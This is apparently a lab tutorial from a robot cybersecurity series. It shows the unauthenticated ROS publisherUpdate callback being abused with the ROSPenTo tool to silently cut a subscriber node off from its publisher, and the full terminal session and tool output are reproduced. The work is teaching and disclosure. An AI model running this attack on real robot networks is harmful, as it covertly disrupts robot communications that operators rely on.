Skip to content

Latest commit

 

History

History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

\newpage

Unauthenticated updates in publisher list for specified topic

In this tutorial we'll review how the ROS Slave API, used by every ROS Node in the robot network, presents a vulnerability in the publisherUpdate method. This method, used to update the publisher list for a specified ROS Topic requires no authentication:

publisherUpdate(caller_id, topic, publishers)

	Callback from master of current publisher list for specified topic.

	Parameters
		caller_id (str)
			ROS caller ID.

		topic (str)
			Topic name.

		publishers ([str])
			List of current publishers for topic in the form of XMLRPC URIs

	Returns (int, str, int)
		(code, statusMessage, ignore)

The main problem arises from the fact that Nodes within the ROS network do not poll the ROS Master for continuous updates. Instead, they solely register to the publisherUpdate callbacks which exposes them to any attacker making arbitrary use of this method. By exploiting this vulnerability, an attacker can potentially modify the list of publishers of an specific topic, affecting selected Nodes, while the rest of the ROS network isn't affected, nor notices any change.

This vulnerability has been reported at aliasrobotics/RVD#88.


Note: as in previous tutorials, there's a docker container that facilitates reproducing the work of this tutorial. The container can be built with:

docker build -t basic_cybersecurity12:latest .

and run with:

docker run -it basic_cybersecurity12:latest

Let's start by listing the ROS Nodes and Topics participating in the network. After launching the container:

root@d64845e9601e:/# rosrun scenario1 talker &
root@d64845e9601e:/# rosrun scenario1 listener

Now, let's get a second command line into the simulated robotic scenario running over docker. To do so:

| => docker ps
CONTAINER ID        IMAGE                          COMMAND                  CREATED             STATUS              PORTS               NAMES
935c390c1e49        basic_cybersecurity12:latest   "/root/launch_script…"   20 seconds ago      Up 19 seconds                           vibrant_chandrasekhar

| => docker exec -it 935c390c1e49 /bin/bash
root@935c390c1e49:/#

On the second terminal of the same docker instance:

root@d64845e9601e:/# rosnode list
/listener
/publisher
/rosout
root@d64845e9601e:/# rostopic list
/flag
/rosout
/rosout_agg

We can see that there're several Nodes, we're mainly interested on /publisher and /listener. Both, exchanging information through the /flag Topic as follows:

root@d64845e9601e:/# rostopic echo /flag
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
data: "br{N(*-E6NgwbyWc"
---
...

Unregistering /publisher from /listener

Our fist objective is to unregister /publisher from /subscriber. We'll do this through the ROS Master API in a way that's only noticed by /listener and nobody else. Messages from /publisher will stop being processed by /subscriber. All this will happen while keeping it away from the ROS Master (and other non-targetted Nodes such as /publisher). To do so, we'll use [3].

First thing is to lauch ROSPenTo and analyze the system

root@d64845e9601e:/# rospento
RosPenTo - Penetration testing tool for the Robot Operating System(ROS)
Copyright(C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it under certain conditions.
For more details see the GNU General Public License at <http://www.gnu.org/licenses/>.

What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
1

Please input URI of ROS Master: (e.g. http://localhost:11311/)
http://localhost:11311/

The results of the analysis should look like:

System 0: http://127.0.0.1:11311/
Nodes:
	Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
	Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
	Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
Topics:
	Topic 0.0: /flag (Type: std_msgs/String)
	Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
	Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Services:
	Service 0.3: /listener/get_loggers
	Service 0.2: /listener/set_logger_level
	Service 0.1: /publisher/get_loggers
	Service 0.0: /publisher/set_logger_level
	Service 0.4: /rosout/get_loggers
	Service 0.5: /rosout/set_logger_level
Communications:
	Communication 0.0:
		Publishers:
			Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
		Topic 0.0: /flag (Type: std_msgs/String)
		Subscribers:
			Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
	Communication 0.1:
		Publishers:
			Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:40117/)
			Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:36963/)
		Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
		Subscribers:
			Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
	Communication 0.2:
		Publishers:
			Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:39955/)
		Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
		Subscribers:
Parameters:
	Parameter 0.0:
		Name: /roslaunch/uris/host_d64845e9601e__39259
	Parameter 0.1:
		Name: /rosdistro
	Parameter 0.2:
		Name: /rosversion
	Parameter 0.3:
		Name: /run_id

Let's now go ahead and unregister /publisher. First, in one terminal, launch rosrun scenario1 listener. Let's now jump into another terminal and unregister the /publisher:

What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
3: Print information about analyzed system...
4: Print nodes of analyzed system...
5: Print node types of analyzed system (Python or C++)...
6: Print topics of analyzed system...
7: Print services of analyzed system...
8: Print communications of analyzed system...
9: Print communications of topic...
10: Print parameters...
11: Update publishers list of subscriber (add)...
12: Update publishers list of subscriber (set)...
13: Update publishers list of subscriber (remove)...
14: Isolate service...
15: Unsubscribe node from parameter (only C++)...
16: Update subscribed parameter at Node (only C++)...
13
To which subscriber do you want to send the publisherUpdate message?
Please enter number of subscriber (e.g.: 0.0):
0.1
Which topic should be affected?
Please enter number of topic (e.g.: 0.0):
0.0
Which publisher(s) do you want to remove?
Please enter number of publisher(s) (e.g.: 0.0,0.1,...):
0.0
sending publisherUpdate to subscriber '/listener (XmlRpcUri: http://172.17.0.2:36963/)' over topic '/flag (Type: std_msgs/String)' with publishers ''
PublisherUpdate completed successfully.

You should see that the /listener is not receiving information anymore.

If we instrospect the ROS Master API through the command line tools ROS offers, we can see no change has happened in the nodes:

root@19246d9bf44b:/# rosnode list
/listener
/publisher
/rosout

A further inspection of the ROS Master using ROSPenTo provides the exact same response. The following terminal dump implies a re-analysis and a latter print of the communications:

sending publisherUpdate to subscriber '/listener (XmlRpcUri: http://172.17.0.2:41723/)' over topic '/flag (Type: std_msgs/String)' with publishers ''
PublisherUpdate completed successfully.

What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
3: Print information about analyzed system...
4: Print nodes of analyzed system...
5: Print node types of analyzed system (Python or C++)...
6: Print topics of analyzed system...
7: Print services of analyzed system...
8: Print communications of analyzed system...
9: Print communications of topic...
10: Print parameters...
11: Update publishers list of subscriber (add)...
12: Update publishers list of subscriber (set)...
13: Update publishers list of subscriber (remove)...
14: Isolate service...
15: Unsubscribe node from parameter (only C++)...
16: Update subscribed parameter at Node (only C++)...
1

Please input URI of ROS Master: (e.g. http://localhost:11311/)
 http://localhost:11311/
URI ' http://localhost:11311/' is not valid!

Please input URI of ROS Master: (e.g. http://localhost:11311/)
http://localhost:11311/

System 0: http://127.0.0.1:11311/
Nodes:
	Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
	Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
	Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
Topics:
	Topic 0.0: /flag (Type: std_msgs/String)
	Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
	Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
Services:
	Service 0.3: /listener/get_loggers
	Service 0.2: /listener/set_logger_level
	Service 0.1: /publisher/get_loggers
	Service 0.0: /publisher/set_logger_level
	Service 0.4: /rosout/get_loggers
	Service 0.5: /rosout/set_logger_level
Communications:
	Communication 0.0:
		Publishers:
			Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
		Topic 0.0: /flag (Type: std_msgs/String)
		Subscribers:
			Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
	Communication 0.1:
		Publishers:
			Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
			Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
		Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
		Subscribers:
			Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
	Communication 0.2:
		Publishers:
			Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
		Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
		Subscribers:
Parameters:
	Parameter 0.0:
		Name: /roslaunch/uris/host_19246d9bf44b__37253
	Parameter 0.1:
		Name: /rosdistro
	Parameter 0.2:
		Name: /rosversion
	Parameter 0.3:
		Name: /run_id

What do you want to do?
0: Exit
1: Analyse system...
2: Print all analyzed systems
3: Print information about analyzed system...
4: Print nodes of analyzed system...
5: Print node types of analyzed system (Python or C++)...
6: Print topics of analyzed system...
7: Print services of analyzed system...
8: Print communications of analyzed system...
9: Print communications of topic...
10: Print parameters...
11: Update publishers list of subscriber (add)...
12: Update publishers list of subscriber (set)...
13: Update publishers list of subscriber (remove)...
14: Isolate service...
15: Unsubscribe node from parameter (only C++)...
16: Update subscribed parameter at Node (only C++)...
8
Please enter number of analysed system:
0

System 0: http://127.0.0.1:11311/
Communications:
	Communication 0.0:
		Publishers:
			Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
		Topic 0.0: /flag (Type: std_msgs/String)
		Subscribers:
			Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
	Communication 0.1:
		Publishers:
			Node 0.0: /publisher (XmlRpcUri: http://172.17.0.2:36517/)
			Node 0.1: /listener (XmlRpcUri: http://172.17.0.2:41723/)
		Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
		Subscribers:
			Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
	Communication 0.2:
		Publishers:
			Node 0.2: /rosout (XmlRpcUri: http://172.17.0.2:35635/)
		Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
		Subscribers:

As it can be seen, there're no changes (noticeable) in the communications when introspecting the ROS Master.

What's happening is that ROSPenTo called the XML-RPC function publisherUpdate with an empty list of publishers as parameter. This caused the /listener node to assume that no publishers are available for the /flag Topic and thus, it terminated the connection to the /publisher node.

Resources